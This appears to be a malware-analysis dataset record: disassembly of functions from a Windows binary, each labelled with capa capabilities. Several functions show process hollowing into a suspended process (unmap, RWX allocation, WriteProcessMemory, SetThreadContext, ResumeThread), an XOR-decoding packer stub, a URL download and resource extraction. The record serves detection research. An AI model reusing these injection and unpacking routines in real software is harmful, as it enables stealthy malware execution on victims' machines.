joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405c90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2ec
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
lea edx, [esp + 4]
push ebx
push ebp
push esi
push edi
push eax
push ecx
push edx
call fcn.00405b80
add esp, 0xc
test eax, eax
je 0x405e74
mov ebp, dword [esp + 0x308]
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, dword [esp + 0x314]
mov ecx, dword [ebp + 0x1c]
mov dword [esp + 0x10], 0
cmp ecx, eax
jne 0x405d02
mov ecx, dword [esp + 0x28]
cmp ebx, ecx
ja 0x405d02
lea edx, [esp + 0x2c]
mov dword [esp + 0x10], eax
push edx
push 0x40
push ecx
push eax
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x405d40
push str.ZwUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
push ecx
push edx
call eax
test eax, eax
jne 0x405d40
mov eax, dword [ebp + 0x1c]
mov ecx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push eax
push ecx
call esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x310]
test eax, eax
jne 0x405da8
push ebp
call fcn.00405c60
add esp, 4
test eax, eax
je 0x405d9c
mov edx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push 0
push edx
call esi
test eax, eax
mov dword [esp + 0x10], eax
je 0x405e67
mov ecx, dword [esp + 0x304]
mov edx, dword [esp + 0x300]
push eax
mov eax, dword [esp + 0x310]
push edi
push eax
push ebp
push ecx
push edx
call fcn.00405b00
add esp, 0x18
mov eax, dword [esp + 0x10]
test eax, eax
je 0x405e67
mov edx, dword [esp + 0xd4]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x18]
push 4
add edx, 8
push ecx
push edx
push eax
call esi
mov ecx, dword [esp + 0x300]
mov eax, dword [esp + 0x10]
push 0
push ebx
mov edx, dword [ecx + 0x3c]
push edi
mov dword [edx + edi + 0x34], eax
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push ecx
push edx
call esi
test eax, eax
je 0x405e4f
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
cmp eax, ecx
mov dword [esp + 0x30], 0x10007
jne 0x405e17
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x1c]
add eax, ecx
mov dword [esp + 0xe0], eax
jmp 0x405e23
mov ecx, dword [ebp + 0x10]
add ecx, eax
mov dword [esp + 0xe0], ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov edx, dword [esp + 0x14]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
Function at 0x405e80
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x240
lea eax, [esp + 0x13c]
push ebx
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x148]
push str.svchost.exe
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x405f83
lea edx, [esp + 0x148]
push 0x409eb0
push edx
call sub.MSVCRT.dll_fopen
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x405f83
lea eax, [esp + 0xc]
lea ecx, [esp + 0x68]
push eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x30]
push edx
push eax
push ebx
call fcn.00405830
add esp, 0x14
test al, al
je 0x405f6b
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x68]
push ecx
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.00405970
add esp, 0x10
mov edi, eax
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x405f83
mov edx, dword [esp + 0xc]
push esi
lea eax, [esp + 0x6c]
push edx
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
push ebx
call fcn.00405a00
mov eax, dword [esp + 0x24]
push edi
push esi
lea ecx, [esp + 0x88]
push eax
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x50]
push edx
push eax
call fcn.00405c90
add esp, 0x30
push ebx
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x240
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x240
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219
Function at 0x401040
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1020
call fcn.0051fd40
mov eax, dword [0x5ad1d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
push edi
push 0xf0000000
push 1
push 0x580ae0
push 0
push 0x5b6ab0
mov edi, ecx
call esi
test eax, eax
jne 0x4010b4
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x8009000f
jne 0x4010a1
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
push 0x5b6ab0
call esi
test eax, eax
jne 0x4010b4
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0051b53a
mov esp, ebp
pop ebp
ret
push 0x580adc
push edi
call fcn.0051bbf3
mov esi, eax
xor edi, edi
add esp, 8
cmp esi, edi
jne 0x4010e2
mov eax, dword [0x5b6ab0]
cmp eax, edi
je 0x4010db
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
jmp 0x40120c
mov ecx, dword [0x5b6ab0]
xor eax, eax
mov dword [ebp - 0x1018], eax
mov dword [ebp - 0x1014], eax
mov dword [ebp - 0x1010], eax
mov dword [ebp - 0x100c], eax
mov dword [ebp - 0x1008], eax
lea eax, [ebp - 0x1008]
push eax
push edi
push edi
push 0x8003
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
push esi
call fcn.0051bc0a
add esp, 4
test eax, eax
jne 0x401169
mov edi, dword [sym.imp.ADVAPI32.dll_CryptHashData]
push esi
push 0x1000
lea edx, [ebp - 0x1004]
push 1
push edx
call fcn.0051bea4
mov ecx, dword [ebp - 0x1008]
add esp, 0x10
push 0
push eax
lea eax, [ebp - 0x1004]
push eax
push ecx
call edi
push esi
call fcn.0051bc0a
add esp, 4
test eax, eax
je 0x401130
xor edi, edi
mov ecx, dword [ebp - 0x1008]
push edi
lea edx, [ebp - 0x1020]
push edx
lea eax, [ebp - 0x1018]
push eax
push 2
push ecx
mov dword [ebp - 0x1020], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov eax, dword [ebp - 0x1008]
cmp eax, edi
je 0x4011a2
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push esi
mov dword [ebp - 0x1008], edi
call fcn.0051bf2e
push 0x64
push edi
push ebx
call fcn.0051f750
add esp, 0x10
xor esi, esi
lea esp, [esp]
mov dl, byte [ebp + esi - 0x1018]
mov byte [ebp - 0x1019], dl
mov edx, 4
mov al, byte [ebp - 0x1019]
mov cl, dl
shr al, cl
and al, 0xf
cmp al, 0xa
jge 0x4011e6
add al, 0x30
jmp 0x4011e8
add al, 0x57
mov byte [ebx], al
inc ebx
sub edx, 4
jns 0x4011d2
inc esi
cmp esi, 0x10
jl 0x4011c0
mov eax, dword [0x5b6ab0]
cmp eax, edi
je 0x401207
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 1
mov ecx, dword [ebp - 4]
mov dword [0x5b6ab0], edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0051b53a
mov esp, ebp
pop ebp
ret
Function at 0x4033c0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54f3d0
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x5ad1d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esi + 0xc], ebx
mov dword [ebp - 0x14], esi
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [ebp - 4], 2
mov ecx, dword [esi + 0xc]
cmp ecx, ebx
je 0x40340d
mov eax, dword [ecx]
mov edx, dword [eax]
push 1
call edx
mov eax, dword [ebp + 8]
mov dword [esi + 0xc], eax
mov dword [esi], vtable.KM::SourceTemplate_class_KM::FileStore_.1.0
mov dword [esi + 4], vtable.KM::SourceTemplate_class_KM::FileStore_.0
mov dword [esi + 0x24], 0xffffffff
mov byte [esi + 0x28], bl
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x18], vtable.KM::FileStore.0
mov dword [esi + 0x1c], vtable.KM::FileStore.1.0
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov byte [esi + 0x4c], bl
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0051b53a
mov esp, ebp
pop ebp
ret 4

Function at 0x404f10
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x54f6e1
mov eax, dword fs:[0]
push eax
sub esp, 0x144
push esi
push edi
mov eax, dword [0x5ad1d0]
xor eax, esp
push eax
lea eax, [esp + 0x150]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x14], 8
mov dword [esp + 0x18], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.0041bf8f
xor edi, edi
push edi
call fcn.0041cadb
push 0xc
call fcn.0041b029
add esp, 8
mov dword [esp + 0x18], eax
mov dword [esp + 0x158], edi
cmp eax, edi
je 0x404f8f
mov ecx, eax
call fcn.0041d28a
mov edi, eax
push str.Local_AppWizard_Generated_Applications
mov ecx, esi
mov dword [esp + 0x15c], 0xffffffff
call fcn.0041d419
push 0
push 0x66
lea ecx, [esp + 0x24]
call fcn.00423ee2
mov dword [esp + 0x158], 1
lea ecx, [esp + 0xd8]
mov dword [esp + 0x1c], vtable.moaweappoakmvaoewamoavw.0
call fcn.00425a89
mov dword [esp + 0xd8], vtable.CProgressCtrl.0
mov byte [esp + 0x158], 2
call fcn.0042b6d3
call fcn.0042b6d3
mov eax, dword [eax + 0xc]
push 0x80
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [esp + 0xd4], eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x158], 3
mov dword [esi + 0x20], ecx
call fcn.0041e44a
test edi, edi
je 0x40502b
mov edx, dword [edi]
mov eax, dword [edx + 4]
push 1
mov ecx, edi
call eax
lea ecx, [esp + 0xd8]
mov dword [esp + 0x158], 4
call fcn.0041eab1
lea ecx, [esp + 0xc8]
mov dword [esp + 0x158], 6
call fcn.00421d28
mov byte [esp + 0x158], 5
lea ecx, [esp + 0xbc]
mov dword [esp + 0xbc], vtable.CBrush.0
call fcn.00405580
lea ecx, [esp + 0x1c]
mov dword [esp + 0x158], 0xffffffff
call fcn.0041dc12
xor eax, eax
mov ecx, dword [esp + 0x150]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407d00
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x407d1b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x407d52
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x407d4e
jmp 0x407d40
cmp esi, eax
jae 0x407d52
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x407d40
cmp esi, eax
jb 0x407d59
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x408370
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54f5ed
mov eax, dword fs:[0]
push eax
mov eax, 0x2824
call fcn.0051fd40
mov eax, dword [0x5ad1d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x2830], edi
mov esi, ecx
mov dword [ebp - 0x282c], ebx
call fcn.00420349
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x4083ce
push 0x80004005
call fcn.00405490
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 4], ebx
push ebx
mov dword [ebp - 0x282c], 1
call dword [sym.imp.WININET.dll_InternetOpenW]
push ebx
push SysReAllocStringLen
push ebx
push ebx
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
lea ecx, [ebp - 0x2828]
push ecx
push 0x2710
lea edx, [ebp - 0x2720]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 0x2828]
push 3
lea edx, [ebp - 0x2720]
mov byte [ebp + eax - 0x2720], bl
push edx
lea eax, [ebp - 0x2824]
lea ecx, [ebp - 0x2820]
push eax
mov dword [ebp - 0x2824], ecx
call fcn.00407220
mov dword [ebp - 4], 1
mov edx, dword [ebp - 0x2824]
cmp edx, ebx
jne 0x408461
xor eax, eax
jmp 0x408475
mov eax, edx
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x408466
sub eax, esi
sar eax, 1
push eax
push edx
mov ecx, edi
call fcn.00408060
mov eax, dword [ebp - 0x2824]
lea ecx, [ebp - 0x2820]
cmp eax, ecx
je 0x408497
push eax
call fcn.0051c65c
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0051b53a
mov esp, ebp
pop ebp
ret
Function at 0x4084c0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5ad1d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x580280
mov esi, eax
push 0x81
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push edi
push esi
mov dword [ebp - 0x24], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 0x24]
push str.KVIP
push eax
lea esi, [ebp - 0x20]
call fcn.00402970
push 0x57fc3c
push ebx
call fcn.0051d747
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40857f
mov eax, dword [ebp - 0x20]
mov edi, 0x10
cmp dword [ebp - 0xc], edi
jae 0x408542
lea eax, [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
push esi
push 1
push ecx
push eax
call fcn.0051d60f
push esi
call fcn.0051bf2e
add esp, 0x14
cmp dword [ebp - 0xc], edi
jb 0x408569
mov edx, dword [ebp - 0x20]
push edx
call fcn.0041b058
add esp, 4
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0051b53a
mov esp, ebp
pop ebp
ret
push 0
call fcn.0051bf2e
add esp, 4
cmp dword [ebp - 0xc], 0x10
jb 0x40859b
mov eax, dword [ebp - 0x20]
push eax
call fcn.0041b058
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0051b53a
mov esp, ebp
pop ebp
ret
Function at 0x410960
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x54d7e8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x5ad1d0]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x5ad1d0]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov edi, ecx
cmp dword [edi + 0x44], 0
je 0x410aa9
cmp byte [edi + 0x49], 0
je 0x410aa9
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
call edx
cmp eax, 0xffffffff
je 0x410a9c
mov ecx, 0xf
xor eax, eax
mov byte [esp + 0x18], 0
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x28], 8
cmp ecx, 0x10
jae 0x4109e3
lea eax, [esp + 0x18]
mov byte [eax + 8], 0
mov dword [esp + 0x40], 0
lea ebx, [edi + 0x4c]
mov eax, dword [esp + 0x18]
mov ebp, dword [esp + 0x2c]
mov edx, eax
cmp ebp, 0x10
jae 0x410a07
lea edx, [esp + 0x18]
mov eax, edx
add edx, dword [esp + 0x28]
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebp, [esp + 0x14]
push ebp
push edx
push eax
mov eax, dword [esi + 0x18]
push ebx
call eax
sub eax, 0
je 0x410a30
dec eax
je 0x410a34
sub eax, 2
lea ecx, [esp + 0x18]
jne 0x410a97
jmp 0x410aa4
mov byte [edi + 0x49], 0
mov ebp, dword [esp + 0x2c]
mov eax, dword [esp + 0x18]
mov ecx, eax
cmp ebp, 0x10
jae 0x410a47
lea ecx, [esp + 0x18]
mov esi, dword [esp + 0x14]
sub esi, ecx
je 0x410a74
cmp ebp, 0x10
jae 0x410a58
lea eax, [esp + 0x18]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0051d60f
add esp, 0x10
cmp esi, eax
jne 0x410a93
mov ebp, dword [esp + 0x2c]
mov eax, dword [esp + 0x18]
cmp byte [edi + 0x49], 0
je 0x410aa0
test esi, esi
jne 0x4109fa
push esi
push 8
lea ecx, [esp + 0x20]
call fcn.0040b600
jmp 0x4109f2
lea ecx, [esp + 0x18]
call fcn.00401330
xor al, al
jmp 0x410aab
lea ecx, [esp + 0x18]
call fcn.00401330
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0051b53a
add esp, 0x30
ret
Function at 0x412b00
Capabilities:
Hash data using sha1

Disassembly:
push 0xffffffffffffffff
push 0x54ea20
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x5ad1d0]
xor eax, esp
mov dword [esp], eax
mov eax, dword [0x5ad1d0]
xor eax, esp
push eax
lea eax, [esp + 8]
mov dword fs:[0], eax
mov eax, dword [esp + 0x18]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0x58], 0x10
lea ecx, [eax + 0x10]
mov dword [ecx + 0x4c], ecx
mov dl, 1
mov byte [ecx + 0x41], dl
mov dword [eax + 0xa8], 0x10
mov byte [eax + 0xa1], dl
lea ecx, [eax + 0x60]
mov dword [ecx + 0x4c], ecx
mov ecx, dword [eax + 0xac]
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], 0xc3d2e1f0
mov dword [eax], vtable.KM::SHA1.0
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [esp]
xor ecx, esp
call fcn.0051b53a
add esp, 0x10
ret 4

Function at 0x412c30
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x54edb0
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x5ad1d0]
xor eax, esp
mov dword [esp + 0x28], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x5ad1d0]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
mov esi, dword [esp + 0x54]
mov eax, dword [esp + 0x50]
mov edi, dword [esp + 0x58]
lea ebp, [esi + 8]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], edi
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edx
mov dword [esp + 0x28], ebp
cmp ebp, 0xffffffff
jbe 0x412c8f
call fcn.00403bb0
test ebp, ebp
jne 0x412c97
xor ebx, ebx
jmp 0x412ca4
mov edi, ebp
call fcn.00414990
mov edi, dword [esp + 0x20]
mov ebx, eax
mov dword [esp + 0x2c], ebx
mov eax, dword [esp + 0x1c]
push esi
push eax
push ebx
mov dword [esp + 0x54], 0
call fcn.0051f9d0
mov ecx, dword [edi]
mov dword [esi + ebx], ecx
mov edx, dword [edi + 4]
mov edi, 0x18
mov dword [esi + ebx + 4], edx
mov dword [esp + 0x40], edi
call fcn.00414990
mov esi, eax
mov dword [esp + 0x44], esi
push 0xc8
push edi
push ebp
push ebx
mov ecx, esi
mov byte [esp + 0x64], 3
call fcn.00412790
mov ecx, dword [esi]
mov eax, dword [esp + 0x30]
mov dword [eax], ecx
mov edx, dword [esi + 4]
mov dword [eax + 4], edx
mov ecx, dword [esi + 8]
mov dword [eax + 8], ecx
mov edx, dword [esi + 0xc]
mov dword [eax + 0xc], edx
mov ecx, dword [esi + 0x10]
mov eax, dword [esp + 0x34]
mov dword [eax], ecx
mov edx, dword [esi + 0x14]
mov dword [eax + 4], edx
xor al, al
mov edi, esi
mov ecx, 0x18
push esi
rep stosb byte es:[edi], al
call fcn.0051c65c
xor al, al
mov edi, ebx
mov ecx, ebp
push ebx
rep stosb byte es:[edi], al
call fcn.0051c65c
add esp, 0x24
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.0051b53a
add esp, 0x38
ret
Function at 0x414890
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebp
mov ebp, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, eax
mov eax, ebp
shr eax, 2
xor ecx, ecx
xor edx, edx
test eax, eax
je 0x4148ca
mov edx, edi
sub esi, edi
mov dword [esp + 0xc], eax
push ebx
mov ebx, dword [esi + edx]
xor ebx, dword [edx]
add edx, 4
or ecx, ebx
dec eax
jne 0x4148b4
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
pop ebx
lea eax, [edx*4]
sub ebp, eax
jne 0x4148e1
pop edi
xor eax, eax
test ecx, ecx
pop esi
sete al
pop ebp
pop ecx
ret
add esi, eax
add edi, eax
mov eax, ecx
mov edx, ecx
shr edx, 0x10
shr eax, 0x18
or al, dl
mov edx, ecx
shr edx, 8
or al, dl
or cl, al
test ebp, ebp
je 0x41490f
mov eax, edi
sub esi, edi
mov edi, ebp
mov dl, byte [eax + esi]
xor dl, byte [eax]
inc eax
or cl, dl
dec edi
jne 0x414904
pop edi
xor eax, eax
test cl, cl
pop esi
sete al
pop ebp
pop ecx
ret

Function at 0x415670
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x54efe0
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x5ad1d0]
xor eax, esp
mov dword [esp + 0x30], eax
push esi
mov eax, dword [0x5ad1d0]
xor eax, esp
push eax
lea eax, [esp + 0x40]
mov dword fs:[0], eax
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov esi, dword [ecx]
push 1
push 0x5b0154
mov dword [esp + 0x28], edx
xor edx, edx
push edx
push eax
mov dword [esp + 0x34], eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], edx
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], edx
push eax
mov eax, dword [esi + 0x80]
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x2c], vtable.KM::ArraySink.0
mov dword [esp + 0x30], vtable.KM::ArraySink.1.0
call eax
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x40]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.0051b53a
mov esp, ebp
pop ebp
ret 8